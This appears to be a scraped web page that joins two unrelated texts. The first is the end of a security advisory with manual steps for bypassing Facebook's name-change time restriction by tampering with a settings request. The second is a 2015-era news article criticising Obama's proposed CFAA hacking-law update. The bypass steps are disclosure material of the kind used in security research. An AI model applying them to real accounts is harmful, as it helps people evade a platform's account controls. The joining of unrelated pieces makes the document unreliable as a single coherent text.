Concept (PoC): ======================= The bypass vulnerability can be exploited by remote attackers with a restricted user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Requirements: Attacker needs an account that changed its name and is limited for 60 (x) days before making any other changes Manual steps to reproduce the vulnerability ... 1. Go to https://m.facebook.com/settings/account/?name&refid=70 2. Click review changes and tamper the request, change the value of alternative name to anything 3. Continue the request and save the changed value 4. Submit request, then enter your test account password 5. Name value is changed even if time restriction was set Note: Alternative name shall then be updated too 6. Facebook vulnerability successful exploited! Reference(s): https://m.facebook.com/settings/account/?name&refid=70 Security Risk: ============== The security risk of the restriction/limitation bypass vulnerability in the change name function is estimated as medium. (CVSS 3.5) Credits & Authors: ================== Paulos Yibelo (paulosyibelo.com) Source

Obama’s proposed hacking law could unwittingly make you a criminal Next week, Obama is expected to unveil an update to the US’ CFAA law against hacking in a State of the Union address, hot on the tail of Sony’s massive hacking attack that unfolded in late 2014. A draft version of the new law has been published on the White House website and gives us a look into a scary future in which clicking a single link could make you complicit in committing a hacking crime. A letter accompanying the proposal dated January 13 introduces the new law to Congress for discussion. Remember when Sony wanted to sue Twitter (and individual users) who posted screenshots or links to its stolen data? According to Errata Security, these new laws could pin you as a “racketeer” who willingly participated in hacking if you were one of those users (or if you clicked one of those links); punishable by up to 10 years in jail. Didn’t click a link? There are plenty of other ways you could be in legal trouble; Errata points out that something as trivial as being in an IRC channel where others are discussing a hack or having an online conversation with a “hacker” could make you a member of a “criminal enterprise,” which would allow the FBI to confiscate all your electronics. The piece of legislation also could cover data like email address and password dumps that might be found on services like Pastebin. If you accessed one of those knowingly, you could be punishable for the complete hacking offense under the draft legislation. This is to say, that if you accessed a data leak from inside a company that was shared online by another party, the language in the updated proposal says that you would now be punishable to the same extent as those who performed the hacking themselves. That’s up to 20 years in prison, along with other potential penalties. The proposed legislation is also worrisome for those in the penetration testing industry. I talked with Dan Tentler, a prominent computer security researcher on Twitter, who is worried that his job itself could become legally sketchy. Dan Tentler @vIss so the whitehouse thinks that by disarming the good guys, it'll stop bad guys. Good job, fellas. *slow clap* Obama’s proposal — which is expected to be made next week — has a few major hurdles to make it into actual law, but it’s cause for concern that even a draft is so broad about the definition of hacking itself and who can be held accountable for it. Tentler expressed concerns that the definition of “protected computer” is so vague that it could be stretched to almost anything. Is a “protected computer” one that is wide open to the internet with minimal security? Or does simply having a basic firewall enabled imply protection? The Washington Post expressed similar concerns, citing that it’s hard to define when a computer is protected if information is available online, without hindrance. The wording could make almost anyone who found themselves stumbling over data they shouldn’t — let alone those that make a living searching for and reporting security flaws — liable for a crime they didn’t commit. Errata Security also pointed out in its blog that “most hacking is international and anonymous” and says the government “can’t catch the perpetrators no matter how much they criminalize the activities.” He believes that instead, “while Obama’s new laws will dramatically increase hacking prosecutions, they’ll be of largely innocent people rather than the real hackers that matter.” The story of Weev’s imprisonment in 2013 for accessing and sharing data that wasn’t properly protected shows how vague laws can be a problem in a world where companies often aren’t being held responsible for customer data. Since it’s still early days for the law, it’s hard to say what the implications truly could be, but if it’s as broad as it appears, it could put people in danger unwittingly. Cyber security legislation is important in the wake of the Sony hack, but this doesn’t appear to be the right way to go about it. Obama's Proposed Hacking Law Could Make You a Criminal